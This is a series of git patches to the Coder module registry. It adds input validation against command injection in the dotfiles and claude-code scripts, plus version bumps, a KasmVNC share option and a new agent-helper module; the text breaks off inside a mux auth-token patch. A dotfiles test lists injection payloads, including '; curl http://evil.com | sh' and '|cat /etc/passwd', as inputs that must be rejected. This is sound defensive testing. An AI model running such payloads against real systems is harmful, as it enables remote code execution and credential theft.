From 8e68c96633f65a1babd76a93b6923e3deead4a82 Mon Sep 17 00:00:00 2001 From: DevCats Date: Mon, 9 Feb 2026 07:54:15 -0600 Subject: [PATCH 01/12] fix: add validation to inputs in dot-files module (#703) ## Description Add's Validation to the dotfiles module in all input's to address security issue pointed out in https://github.com/coder/security/issues/119 ## Type of Change - [ ] New module - [ ] New template - [X] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/dotfiles` **New version:** `v1.2.4` **Breaking change:** [ ] Yes [X] No ## Testing & Validation - [Y] Tests pass (`bun test`) - [Y] Code formatted (`bun fmt`) - [ ] Changes tested locally ## Related Issues https://github.com/coder/security/issues/119 --------- Co-authored-by: Jakub Domeracki --- .../modules/claude-code/scripts/install.sh | 3 +- .../modules/claude-code/scripts/start.sh | 3 +- registry/coder/modules/dotfiles/README.md | 12 +++--- registry/coder/modules/dotfiles/main.test.ts | 43 +++++++++++++++---- registry/coder/modules/dotfiles/main.tf | 28 +++++++++++- registry/coder/modules/dotfiles/run.sh | 30 ++++++++++--- 6 files changed, 96 insertions(+), 23 deletions(-) diff --git a/registry/coder/modules/claude-code/scripts/install.sh b/registry/coder/modules/claude-code/scripts/install.sh index 9a393965..0a2ba703 100644 --- a/registry/coder/modules/claude-code/scripts/install.sh +++ b/registry/coder/modules/claude-code/scripts/install.sh @@ -12,7 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-} ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"} ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-} ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} -ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}" +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}" ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false} ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-} diff --git a/registry/coder/modules/claude-code/scripts/start.sh b/registry/coder/modules/claude-code/scripts/start.sh index a38e7146..2df8fce1 100644 --- a/registry/coder/modules/claude-code/scripts/start.sh +++ b/registry/coder/modules/claude-code/scripts/start.sh @@ -3,7 +3,8 @@ set -euo pipefail ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} -ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}" +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}" export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH" diff --git a/registry/coder/modules/dotfiles/README.md b/registry/coder/modules/dotfiles/README.md index e35033a6..7d994c1e 100644 --- a/registry/coder/modules/dotfiles/README.md +++ b/registry/coder/modules/dotfiles/README.md @@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } ``` @@ -31,7 +31,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } ``` @@ -42,7 +42,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id user = "root" } @@ -54,14 +54,14 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } module "dotfiles-root" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id user = "root" dotfiles_uri = module.dotfiles.dotfiles_uri @@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id default_dotfiles_uri = "https://github.com/coder/dotfiles" } diff --git a/registry/coder/modules/dotfiles/main.test.ts b/registry/coder/modules/dotfiles/main.test.ts index 8c82cd1e..90fe91c8 100644 --- a/registry/coder/modules/dotfiles/main.test.ts +++ b/registry/coder/modules/dotfiles/main.test.ts @@ -12,20 +12,47 @@ describe("dotfiles", async () => { agent_id: "foo", }); - it("default output", async () => { + it("default output is empty string", async () => { const state = await runTerraformApply(import.meta.dir, { agent_id: "foo", }); expect(state.outputs.dotfiles_uri.value).toBe(""); }); - it("set a default dotfiles_uri", async () => { - const default_dotfiles_uri = "foo"; - const state = await runTerraformApply(import.meta.dir, { - agent_id: "foo", - default_dotfiles_uri, - }); - expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri); + it("accepts valid git URL formats", async () => { + const validUrls = [ + "https://github.com/coder/dotfiles", + "https://github.com/coder/dotfiles.git", + "git@github.com:coder/dotfiles.git", + "git://github.com/coder/dotfiles.git", + "ssh://git@github.com/coder/dotfiles.git", + ]; + for (const url of validUrls) { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + dotfiles_uri: url, + }); + expect(state.outputs.dotfiles_uri.value).toBe(url); + } + }); + + it("rejects invalid or malicious URLs", async () => { + const invalidUrls = [ + "https://github.com/user/repo; curl http://evil.com | sh", + "https://github.com/$(whoami)/repo", + "https://github.com/`id`/repo", + "https://github.com/user/repo|cat /etc/passwd", + "file:///etc/passwd", + "not-a-valid-url", + ]; + for (const url of invalidUrls) { + await expect( + runTerraformApply(import.meta.dir, { + agent_id: "foo", + dotfiles_uri: url, + }), + ).rejects.toThrow(); + } }); it("set custom order for coder_parameter", async () => { diff --git a/registry/coder/modules/dotfiles/main.tf b/registry/coder/modules/dotfiles/main.tf index 9dfb7240..760f4181 100644 --- a/registry/coder/modules/dotfiles/main.tf +++ b/registry/coder/modules/dotfiles/main.tf @@ -36,19 +36,40 @@ variable "default_dotfiles_uri" { type = string description = "The default dotfiles URI if the workspace user does not provide one" default = "" + + validation { + condition = ( + var.default_dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "dotfiles_uri" { type = string description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)" + default = null - default = null + validation { + condition = ( + var.dotfiles_uri == null || + var.dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "user" { type = string description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)" default = null + + validation { + condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user)) + error_message = "Must be a valid username without special characters." + } } variable "coder_parameter_order" { @@ -73,6 +94,11 @@ data "coder_parameter" "dotfiles_uri" { description = var.description mutable = true icon = "/icon/dotfiles.svg" + + validation { + regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$" + error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } locals { diff --git a/registry/coder/modules/dotfiles/run.sh b/registry/coder/modules/dotfiles/run.sh index 91229589..a068aca7 100644 --- a/registry/coder/modules/dotfiles/run.sh +++ b/registry/coder/modules/dotfiles/run.sh @@ -5,6 +5,19 @@ set -euo pipefail DOTFILES_URI="${DOTFILES_URI}" DOTFILES_USER="${DOTFILES_USER}" +# Validate DOTFILES_URI to prevent command injection (defense in depth) +if [ -n "$DOTFILES_URI" ]; then + # shellcheck disable=SC2250 + if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then + echo "ERROR: DOTFILES_URI contains invalid characters" >&2 + exit 1 + fi + if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then + echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2 + exit 1 + fi +fi + # shellcheck disable=SC2157 if [ -n "$${DOTFILES_URI// }" ]; then if [ -z "$DOTFILES_USER" ]; then @@ -16,12 +29,17 @@ if [ -n "$${DOTFILES_URI// }" ]; then if [ "$DOTFILES_USER" = "$USER" ]; then coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log else - # The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280 - # eval echo ~coder -> "/home/coder" - # eval echo ~root -> "/root" + if command -v getent > /dev/null 2>&1; then + DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6) + else + DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd) + fi + if [ -z "$DOTFILES_USER_HOME" ]; then + echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2 + exit 1 + fi - CODER_BIN=$(which coder) - DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER") - sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log" + CODER_BIN=$(command -v coder) + sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log" fi fi From 04490518288690e20c80de7e09327c6ff6c6d215 Mon Sep 17 00:00:00 2001 From: Riajul Islam Date: Wed, 11 Feb 2026 13:34:37 +0600 Subject: [PATCH 02/12] feat(KasmVNC): allow share variable to be passed with default: `owner` (#709) Co-authored-by: Atif Ali --- registry/coder/modules/kasmvnc/README.md | 2 +- registry/coder/modules/kasmvnc/main.tf | 11 ++++++++++- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/registry/coder/modules/kasmvnc/README.md b/registry/coder/modules/kasmvnc/README.md index 7fcc7fb0..2f9fff7a 100644 --- a/registry/coder/modules/kasmvnc/README.md +++ b/registry/coder/modules/kasmvnc/README.md @@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and module "kasmvnc" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kasmvnc/coder" - version = "1.2.7" + version = "1.3.0" agent_id = coder_agent.example.id desktop_environment = "xfce" subdomain = true diff --git a/registry/coder/modules/kasmvnc/main.tf b/registry/coder/modules/kasmvnc/main.tf index 4635f612..66324b37 100644 --- a/registry/coder/modules/kasmvnc/main.tf +++ b/registry/coder/modules/kasmvnc/main.tf @@ -54,6 +54,15 @@ variable "subdomain" { description = "Is subdomain sharing enabled in your cluster?" } +variable "share" { + type = string + default = "owner" + validation { + condition = var.share == "owner" || var.share == "authenticated" || var.share == "public" + error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'." + } +} + resource "coder_script" "kasm_vnc" { agent_id = var.agent_id display_name = "KasmVNC" @@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" { url = "http://localhost:${var.port}" icon = "/icon/kasmvnc.svg" subdomain = var.subdomain - share = "owner" + share = var.share order = var.order group = var.group From a9a03b167c0c89c57660f8db83f86beb7d056e19 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Thu, 12 Feb 2026 23:21:07 +0530 Subject: [PATCH 03/12] feat(coder-labs/modules/codex): bump agentapi version to v0.11.8 in codex (#727) ## Description - bump agentapi version to v0.11.8 in codex ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder-labs/modules/codex` **New version:** `v4.1.1` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues --- registry/coder-labs/modules/codex/README.md | 10 +++++----- registry/coder-labs/modules/codex/main.tf | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/registry/coder-labs/modules/codex/README.md b/registry/coder-labs/modules/codex/README.md index 1ca7c9c5..b4a895de 100644 --- a/registry/coder-labs/modules/codex/README.md +++ b/registry/coder-labs/modules/codex/README.md @@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = var.openai_api_key workdir = "/home/coder/project" @@ -32,7 +32,7 @@ module "codex" { module "codex" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." workdir = "/home/coder/project" @@ -51,7 +51,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id workdir = "/home/coder/project" enable_aibridge = true @@ -94,7 +94,7 @@ data "coder_task" "me" {} module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." ai_prompt = data.coder_task.me.prompt @@ -112,7 +112,7 @@ This example shows additional configuration options for custom models, MCP serve ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." workdir = "/home/coder/project" diff --git a/registry/coder-labs/modules/codex/main.tf b/registry/coder-labs/modules/codex/main.tf index 2f65df86..cc07ce2f 100644 --- a/registry/coder-labs/modules/codex/main.tf +++ b/registry/coder-labs/modules/codex/main.tf @@ -131,7 +131,7 @@ variable "install_agentapi" { variable "agentapi_version" { type = string description = "The version of AgentAPI to install." - default = "v0.11.6" + default = "v0.11.8" } variable "codex_model" { From c5ff4de9ed2935624cda5bc1ba93cc2ad4ddde18 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Fri, 13 Feb 2026 22:05:21 +0530 Subject: [PATCH 04/12] feat(coder/modules/agent-helper): add agent-helper module to help run scripts (#704) ## Description The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts. ## Type of Change - [x] New module - [ ] New template - [ ] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/agent-helper` **New version:** `v1.0.0` **Breaking change:** [x] Yes [ ] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues Closes: https://github.com/coder/registry/issues/696 Closes: https://github.com/coder/registry/issues/698 --------- Co-authored-by: DevCats --- registry/coder/modules/agent-helper/README.md | 65 +++++ .../coder/modules/agent-helper/main.test.ts | 13 + registry/coder/modules/agent-helper/main.tf | 190 ++++++++++++ .../modules/agent-helper/main.tftest.hcl | 271 ++++++++++++++++++ 4 files changed, 539 insertions(+) create mode 100644 registry/coder/modules/agent-helper/README.md create mode 100644 registry/coder/modules/agent-helper/main.test.ts create mode 100644 registry/coder/modules/agent-helper/main.tf create mode 100644 registry/coder/modules/agent-helper/main.tftest.hcl diff --git a/registry/coder/modules/agent-helper/README.md b/registry/coder/modules/agent-helper/README.md new file mode 100644 index 00000000..62eb3573 --- /dev/null +++ b/registry/coder/modules/agent-helper/README.md @@ -0,0 +1,65 @@ +--- +display_name: Agent Helper +description: Building block for modules that need orchestrated script execution +icon: ../../../../.icons/coder.svg +verified: false +tags: [internal, library] +--- + +# Agent Helper + +> [!CAUTION] +> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution. + +The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts. + +> [!NOTE] +> +> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together. + +```tf +module "agent_helper" { + source = "registry.coder.com/coder/agent-helper/coder" + version = "1.0.0" + + agent_id = coder_agent.main.id + agent_name = "myagent" + module_dir_name = ".my-module" + + pre_install_script = <<-EOT + #!/bin/bash + echo "Running pre-install tasks..." + # Your pre-install logic here + EOT + + install_script = <<-EOT + #!/bin/bash + echo "Installing dependencies..." + # Your install logic here + EOT + + post_install_script = <<-EOT + #!/bin/bash + echo "Running post-install configuration..." + # Your post-install logic here + EOT + + start_script = <<-EOT + #!/bin/bash + echo "Starting the application..." + # Your start logic here + EOT +} +``` + +## Execution Order + +The module orchestrates scripts in the following order: + +1. **Log File Creation** - Creates module directory and log files +2. **Pre-Install Script** (optional) - Runs before installation +3. **Install Script** - Main installation +4. **Post-Install Script** (optional) - Runs after installation +5. **Start Script** - Starts the application + +Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management. diff --git a/registry/coder/modules/agent-helper/main.test.ts b/registry/coder/modules/agent-helper/main.test.ts new file mode 100644 index 00000000..6c132589 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.test.ts @@ -0,0 +1,13 @@ +import { describe } from "bun:test"; +import { runTerraformInit, testRequiredVariables } from "~test"; + +describe("agent-helper", async () => { + await runTerraformInit(import.meta.dir); + + testRequiredVariables(import.meta.dir, { + agent_id: "test-agent-id", + agent_name: "test-agent", + module_dir_name: ".test-module", + start_script: "echo 'start'", + }); +}); diff --git a/registry/coder/modules/agent-helper/main.tf b/registry/coder/modules/agent-helper/main.tf new file mode 100644 index 00000000..cfb8b778 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.tf @@ -0,0 +1,190 @@ +terraform { + required_version = ">= 1.0" + + required_providers { + coder = { + source = "coder/coder" + version = ">= 2.13" + } + } +} + +variable "agent_id" { + type = string + description = "The ID of a Coder agent." +} + +data "coder_workspace" "me" {} + +data "coder_workspace_owner" "me" {} + +data "coder_task" "me" {} + +variable "pre_install_script" { + type = string + description = "Custom script to run before installing the agent used by AgentAPI." + default = null +} + +variable "install_script" { + type = string + description = "Script to install the agent used by AgentAPI." + default = null +} + +variable "post_install_script" { + type = string + description = "Custom script to run after installing the agent used by AgentAPI." + default = null +} + +variable "start_script" { + type = string + description = "Script that starts AgentAPI." +} + +variable "agent_name" { + type = string + description = "The name of the agent. This is used to construct unique script names for the experiment sync." + +} + +variable "module_dir_name" { + type = string + description = "The name of the module directory." +} + +locals { + encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : "" + encoded_install_script = var.install_script != null ? base64encode(var.install_script) : "" + encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : "" + encoded_start_script = base64encode(var.start_script) + + pre_install_script_name = "${var.agent_name}-pre_install_script" + install_script_name = "${var.agent_name}-install_script" + post_install_script_name = "${var.agent_name}-post_install_script" + start_script_name = "${var.agent_name}-start_script" + + module_dir_path = "$HOME/${var.module_dir_name}" + + pre_install_path = "${local.module_dir_path}/pre_install.sh" + install_path = "${local.module_dir_path}/install.sh" + post_install_path = "${local.module_dir_path}/post_install.sh" + start_path = "${local.module_dir_path}/start.sh" + + pre_install_log_path = "${local.module_dir_path}/pre_install.log" + install_log_path = "${local.module_dir_path}/install.log" + post_install_log_path = "${local.module_dir_path}/post_install.log" + start_log_path = "${local.module_dir_path}/start.log" +} + +resource "coder_script" "pre_install_script" { + count = var.pre_install_script == null ? 0 : 1 + agent_id = var.agent_id + display_name = "Pre-Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + mkdir -p ${local.module_dir_path} + + trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT + coder exp sync start ${local.pre_install_script_name} + + echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path} + chmod +x ${local.pre_install_path} + + ${local.pre_install_path} > ${local.pre_install_log_path} 2>&1 + EOT +} + +resource "coder_script" "install_script" { + agent_id = var.agent_id + display_name = "Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + mkdir -p ${local.module_dir_path} + + trap 'coder exp sync complete ${local.install_script_name}' EXIT + %{if var.pre_install_script != null~} + coder exp sync want ${local.install_script_name} ${local.pre_install_script_name} + %{endif~} + coder exp sync start ${local.install_script_name} + echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path} + chmod +x ${local.install_path} + + ${local.install_path} > ${local.install_log_path} 2>&1 + EOT +} + +resource "coder_script" "post_install_script" { + count = var.post_install_script != null ? 1 : 0 + agent_id = var.agent_id + display_name = "Post-Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + trap 'coder exp sync complete ${local.post_install_script_name}' EXIT + coder exp sync want ${local.post_install_script_name} ${local.install_script_name} + coder exp sync start ${local.post_install_script_name} + + echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path} + chmod +x ${local.post_install_path} + + ${local.post_install_path} > ${local.post_install_log_path} 2>&1 + EOT +} + +resource "coder_script" "start_script" { + agent_id = var.agent_id + display_name = "Start Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + trap 'coder exp sync complete ${local.start_script_name}' EXIT + + %{if var.post_install_script != null~} + coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name} + %{else~} + coder exp sync want ${local.start_script_name} ${local.install_script_name} + %{endif~} + coder exp sync start ${local.start_script_name} + + echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path} + chmod +x ${local.start_path} + + ${local.start_path} > ${local.start_log_path} 2>&1 + EOT +} + +output "pre_install_script_name" { + description = "The name of the pre-install script for sync." + value = local.pre_install_script_name +} + +output "install_script_name" { + description = "The name of the install script for sync." + value = local.install_script_name +} + +output "post_install_script_name" { + description = "The name of the post-install script for sync." + value = local.post_install_script_name +} + +output "start_script_name" { + description = "The name of the start script for sync." + value = local.start_script_name +} \ No newline at end of file diff --git a/registry/coder/modules/agent-helper/main.tftest.hcl b/registry/coder/modules/agent-helper/main.tftest.hcl new file mode 100644 index 00000000..91546fb0 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.tftest.hcl @@ -0,0 +1,271 @@ +# Test for agent-helper module + +# Test with all scripts provided +run "test_with_all_scripts" { + command = plan + + variables { + agent_id = "test-agent-id" + agent_name = "test-agent" + module_dir_name = ".test-module" + pre_install_script = "echo 'pre-install'" + install_script = "echo 'install'" + post_install_script = "echo 'post-install'" + start_script = "echo 'start'" + } + + # Verify pre_install_script is created when provided + assert { + condition = length(coder_script.pre_install_script) == 1 + error_message = "Pre-install script should be created when pre_install_script is provided" + } + + assert { + condition = coder_script.pre_install_script[0].agent_id == "test-agent-id" + error_message = "Pre-install script agent ID should match input" + } + + assert { + condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script" + error_message = "Pre-install script should have correct display name" + } + + assert { + condition = coder_script.pre_install_script[0].run_on_start == true + error_message = "Pre-install script should run on start" + } + + # Verify install_script is created + assert { + condition = coder_script.install_script.agent_id == "test-agent-id" + error_message = "Install script agent ID should match input" + } + + assert { + condition = coder_script.install_script.display_name == "Install Script" + error_message = "Install script should have correct display name" + } + + assert { + condition = coder_script.install_script.run_on_start == true + error_message = "Install script should run on start" + } + + # Verify post_install_script is created when provided + assert { + condition = length(coder_script.post_install_script) == 1 + error_message = "Post-install script should be created when post_install_script is provided" + } + + assert { + condition = coder_script.post_install_script[0].agent_id == "test-agent-id" + error_message = "Post-install script agent ID should match input" + } + + assert { + condition = coder_script.post_install_script[0].display_name == "Post-Install Script" + error_message = "Post-install script should have correct display name" + } + + assert { + condition = coder_script.post_install_script[0].run_on_start == true + error_message = "Post-install script should run on start" + } + + # Verify start_script is created + assert { + condition = coder_script.start_script.agent_id == "test-agent-id" + error_message = "Start script agent ID should match input" + } + + assert { + condition = coder_script.start_script.display_name == "Start Script" + error_message = "Start script should have correct display name" + } + + assert { + condition = coder_script.start_script.run_on_start == true + error_message = "Start script should run on start" + } + + # Verify outputs for script names + assert { + condition = output.pre_install_script_name == "test-agent-pre_install_script" + error_message = "Pre-install script name output should be correctly formatted" + } + + assert { + condition = output.install_script_name == "test-agent-install_script" + error_message = "Install script name output should be correctly formatted" + } + + assert { + condition = output.post_install_script_name == "test-agent-post_install_script" + error_message = "Post-install script name output should be correctly formatted" + } + + assert { + condition = output.start_script_name == "test-agent-start_script" + error_message = "Start script name output should be correctly formatted" + } +} + +# Test with only required scripts (no pre/post install) +run "test_without_optional_scripts" { + command = plan + + variables { + agent_id = "test-agent-id" + agent_name = "test-agent" + module_dir_name = ".test-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Verify pre_install_script is NOT created when not provided + assert { + condition = length(coder_script.pre_install_script) == 0 + error_message = "Pre-install script should not be created when pre_install_script is null" + } + + # Verify post_install_script is NOT created when not provided + assert { + condition = length(coder_script.post_install_script) == 0 + error_message = "Post-install script should not be created when post_install_script is null" + } + + # Verify required scripts are still created + assert { + condition = coder_script.install_script.agent_id == "test-agent-id" + error_message = "Install script should be created" + } + + assert { + condition = coder_script.start_script.agent_id == "test-agent-id" + error_message = "Start script should be created" + } + + # Verify outputs + assert { + condition = output.pre_install_script_name == "test-agent-pre_install_script" + error_message = "Pre-install script name output should be generated even when script is not created" + } + + assert { + condition = output.install_script_name == "test-agent-install_script" + error_message = "Install script name output should be correctly formatted" + } + + assert { + condition = output.post_install_script_name == "test-agent-post_install_script" + error_message = "Post-install script name output should be generated even when script is not created" + } + + assert { + condition = output.start_script_name == "test-agent-start_script" + error_message = "Start script name output should be correctly formatted" + } +} + +# Test with mock data sources +run "test_with_mock_data" { + command = plan + + variables { + agent_id = "mock-agent" + agent_name = "mock-agent" + module_dir_name = ".mock-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Mock the data sources for testing + override_data { + target = data.coder_workspace.me + values = { + id = "test-workspace-id" + name = "test-workspace" + owner = "test-owner" + owner_id = "test-owner-id" + template_id = "test-template-id" + template_name = "test-template" + access_url = "https://coder.example.com" + start_count = 1 + transition = "start" + } + } + + override_data { + target = data.coder_workspace_owner.me + values = { + id = "test-owner-id" + email = "test@example.com" + name = "Test User" + session_token = "mock-token" + } + } + + override_data { + target = data.coder_task.me + values = { + id = "test-task-id" + } + } + + # Verify scripts are created with mocked data + assert { + condition = coder_script.install_script.agent_id == "mock-agent" + error_message = "Install script should use the mocked agent ID" + } + + assert { + condition = coder_script.start_script.agent_id == "mock-agent" + error_message = "Start script should use the mocked agent ID" + } +} + +# Test script naming with custom agent_name +run "test_script_naming" { + command = plan + + variables { + agent_id = "test-agent" + agent_name = "custom-name" + module_dir_name = ".test-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Verify script names are constructed correctly + # The script should contain references to custom-name-* in the sync commands + assert { + condition = can(regex("custom-name-install_script", coder_script.install_script.script)) + error_message = "Install script should use custom agent_name in sync commands" + } + + assert { + condition = can(regex("custom-name-start_script", coder_script.start_script.script)) + error_message = "Start script should use custom agent_name in sync commands" + } + + # Verify outputs use custom agent_name + assert { + condition = output.pre_install_script_name == "custom-name-pre_install_script" + error_message = "Pre-install script name output should use custom agent_name" + } + + assert { + condition = output.install_script_name == "custom-name-install_script" + error_message = "Install script name output should use custom agent_name" + } + + assert { + condition = output.post_install_script_name == "custom-name-post_install_script" + error_message = "Post-install script name output should use custom agent_name" + } + + assert { + condition = output.start_script_name == "custom-name-start_script" + error_message = "Start script name output should use custom agent_name" + } +} From 39fec7ca820ea9bb630a5316a1569081bb23065e Mon Sep 17 00:00:00 2001 From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com> Date: Sat, 14 Feb 2026 23:08:12 +0100 Subject: [PATCH 05/12] =?UTF-8?q?=F0=9F=A4=96=20feat:=20mux=20module=20?= =?UTF-8?q?=E2=80=94=20add=20per-workspace=20auth=20token=20for=20CSWSH=20?= =?UTF-8?q?protection=20(#728)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Summary Add per-workspace authentication token wiring to the Mux Coder module, closing the last-mile deployment gap for cross-site WebSocket hijacking (CSWSH) protection identified in coder/security#120. ## Background When Mux runs as a Coder workspace app, it is accessible via Coder's subdomain proxy (e.g., `mux--ws--user.apps.coder.com`). Without an auth token, a malicious same-site origin (another user's workspace app on the same `*.coder.com` domain) can hijack the WebSocket session and execute arbitrary commands via the oRPC API. The Mux application itself already implements: - **Strict same-origin enforcement** for HTTP/CORS and WebSocket upgrades (coder/mux#2418) - **Auth token support** — the server reads `MUX_SERVER_AUTH_TOKEN` or `--auth-token`, and the browser frontend extracts `?token=` from the URL and persists it to localStorage What was missing was module-level token generation and browser/backend wiring. ## Implementation - **`random_password.mux_auth_token`** generates a 64-character token per module instance. - **Backend wiring:** `run.sh` launches mux with a process-scoped `MUX_SERVER_AUTH_TOKEN` environment variable. - **Frontend wiring:** `coder_app.mux.url` includes `?token=` so first launch from Coder passes the token to the 